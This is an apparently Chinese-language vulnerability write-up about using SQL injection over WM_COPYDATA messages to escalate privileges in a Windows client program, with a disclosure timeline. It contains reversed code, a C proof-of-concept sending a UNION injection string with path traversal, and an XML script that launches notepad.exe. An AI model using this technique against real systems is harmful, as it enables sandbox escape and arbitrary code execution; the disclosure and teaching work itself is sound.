每一个安全初学者都喜欢问这样一个问题,“我应该做web安全还是做二进制安全,哪个更有意思?哪个更有钱途?”
二进制安全就只等于反汇编,逆向,调试,内核 ……?
Web安全就只等于XSS,SQL注入,CSRF,webshell ……?
当两者结合起来的时候会发生什么美妙的事情呢?
一个典型的Web系统运行于Linux平台,使用Apache作为服务器,用PHP完成功能逻辑,重要数据存储在MySQL数据中,接收用户输入并返回信息。对于客户端软件来说其实也存在类似的架构,软件运行在Windows系统上,用C/C++完成功能逻辑,可能用SQLite存储重要数据,支持进程间通信。
那么在二进制漏洞挖掘中是否可用使用Web漏洞挖掘的思路呢?
笔者在研究某客户端软件时发现了一个非常有意思的逻辑安全漏洞。本文笔者将展示如何使用客户端软件中存在的SQL注入漏洞,实现本地权限提升,使用漏洞可以绕过IE沙箱等的限制,在高权限进程的上下文中执行任意代码。
用户界面特权隔离,即 User Interface Privilege Isolation,是Windows Vista后引入的一种新的安全机制。限制低完整性级别的进程向高完整性级别的进程窗口发送消息,从而减少攻击面,防止低完整性级别的恶意程序,通过进程间通信,在高完整性级别的上下文里执行任意代码,从而提升权限。
由于UIPI的限制,低完整性级别的进程向高完整性级别的进程发送消息时会返回拒绝访问,但是Windows提供了ChangeWindowMessageFilter和ChangeWindowMessageFilterEx函数,可以用来关闭UIPI的限制,完美绕过Windows提供的防护机制。
SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。
而造成SQL注入的原因是因为程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。
本节将介绍笔者在研究某客户端软件时发现的一个安全漏洞,为读者展示如何使用Web安全的思路,获得一个本地权限提升漏洞。
开机后该软件会启动DCProcess.exe程序,为了进程间通信,该程序会调用ChangeWindowMessageFilter函数,关闭UIPI机制。
逆向代码如下所示:
v7 = GetProcAddress(v5, "ChangeWindowMessageFilter");
(v7)(WM_COPYDATA, MSGFLT_ADD);
此举会导致低完整性级别的程序可以向DCProcess.exe程序发送WM_COPYDATA消息。
该软件通过WM_COPYDATA消息来控制DCProcess.exe程序运行特定脚本,脚本程序放置在程序目录Scripts下,如图2.1所示
脚本的信息存储在DC_Container.s3db数据库中,其中tbl_script表如图2.2所示
DCProcess.exe通过SQL查询语句来获取脚本运行的相关信息,但是在此处并没有对用户输入进行过滤,导致存在SQL注入问题。
sub_1001BD60("select * from tbl_script where ID = '%s'", v2);//其中 v2为WM_COPYDATA传递的数据
通过SQL注入漏洞,可以控制执行脚本的路径,从而执行我们构造的脚本。
POC如下所示:
HWND hWnd=FindWindow(0,L"DCCoreProcess");
WCHAR str[]=L"' and 1=0 union select 1,'test','../../../../../test/test.xml',0,3,1,'test',0,0,0 where '1'='1";
COPYDATASTRUCT MyCDS;
MyCDS.dwData=0xFBE;
MyCDS.cbData=sizeof(str);
MyCDS.lpData=str;
SendMessage(hWnd,WM_COPYDATA,(WPARAM)hCurrentWnd,(LPARAM)&MyCDS);
上述代码会使DCProcess.exe程序执行c:\test\test.xml脚本,通过定制该脚本,可以实现任意代码执行。由于ChangeWindowMessageFilter函数的存在使得IE沙箱之类低完整性级别的程序,可以绕过Windows权限控制体系,在DCProcess.exe的上下文中执行任意代码。下述脚本演示了如何实现运行notepad.exe程序。
<?xml version="1.0" encoding="UTF-8"?>
<root>
<scripttype value="7"/>
<visible value="1"/>
<scriptlevel value="0"/>
<scriptname value="test"/>
<scriptdes value="test"/>
<process>
<step id="10453f34-86fa-7aee-e4fc-bbfcbd21a27c" name="ExecuteFile" desc="test" dll="ShellApi" dllURL="/download/dll/ShellApi.dll" dllPath="" com_dll="" com_dllURL="" com_dllPath="" continueOnFail="0" osType="2">
<para name="Path" isInput="true" position="1" datatype="4" value="c:\windows\system32\notepad.exe"/>
<para name="Arguments" isInput="true" position="2" datatype="4" value=""/>
<para name="ExecuteAccount" isInput="true" position="3" datatype="4" value="0"/>
<para name="WaitComplete" isInput="true" position="4" datatype="3" value="0"/>
</step>
</process>
</root>
该漏洞其实并不复杂,危害程序也有限,但是在客户端软件的开发中使用关系型数据库,输入可控,又不对输入数据进行校验,导致通过SQL注入来实现权限提升,却是一个非常有趣的问题。
据此我们也可以发现,二进制安全和Web安全,并没有严格的界限,拥有更广的知识面,更灵活的思路,才有可能发现更多,更有趣的安全漏洞。
2016/12/26 向相关厂商提供漏洞细节 2016/12/26 回复确认 2016/12/29 确认漏洞,并停产此款软件 2017/01/05 询问是否出安全补丁 2017/01/05 回复已下线软件,不再上线使用 2017/01/19 公开漏洞